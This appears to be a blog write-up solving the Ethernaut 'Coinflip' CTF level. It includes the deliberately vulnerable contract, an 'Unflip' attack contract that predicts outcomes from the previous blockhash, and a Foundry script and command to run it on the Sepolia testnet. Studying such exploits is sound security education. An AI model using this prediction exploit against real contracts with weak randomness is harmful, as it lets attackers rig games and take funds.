The Ethernaut CTF Solutions | 03 - Coinflip
Predicting the Unpredictable: Outsmarting Solidity's Pseudo-Randomness

Search for a command to run...
Predicting the Unpredictable: Outsmarting Solidity's Pseudo-Randomness

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Phishing the Blockchain: Understanding `tx.origin` and `msg.sender`
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

On this page
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Everything in the EVM is deterministic. This means that entropy doesn't exist natively on-chain (you can and should use third-party solutions like Chainlink VRF).
The logic used in the CoinFlip contract is only pseudo-random. The pseudo is important here because it means that we can predict the next flip by reproducing the same logic as the one used in the contract.
Once done, we can call the flip() function with the predicted value and repeat this 10 times to win the level.
Let's craft a smart contract that reproduces the same logic as the CoinFlip contract to predict the next flip and call the flip function with the predicted value.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICoinFlip {
function flip(bool) external returns (bool);
}
contract Unflip {
address immutable coinflip;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinflip) {
coinflip = _coinflip;
}
function playToWin() private view returns (bool) {
uint256 pastBlockValue = uint256(blockhash(block.number - 1));
uint256 coinFlipResult = pastBlockValue / FACTOR;
return coinFlipResult == 1 ? true : false;
}
function attack() public {
ICoinFlip(coinflip).flip(playToWin());
}
}
Now that we have crafted our attack contract, let's build the deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Unflip} from "../src/03_CoinFlip.sol";
interface ICoinFlip {
function consecutiveWins() external view returns (uint256);
}
contract PoC is Script {
// Replace with your CoinFlip instance
ICoinFlip coinflip = ICoinFlip(0xb721D5C58B4B2d7Fc82084541C639A6b6E3CBf73);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
Unflip unflip = new Unflip(address(coinflip));
unflip.attack();
console2.log("Consecutive Wins: ", coinflip.consecutiveWins());
vm.stopBroadcast();
}
}
Then, run the script 10 times with the following command:
forge script script/03_CoinFlip.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Entropy doesn't exist on-chain
Pseudo-randomness can help for development but not for production
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/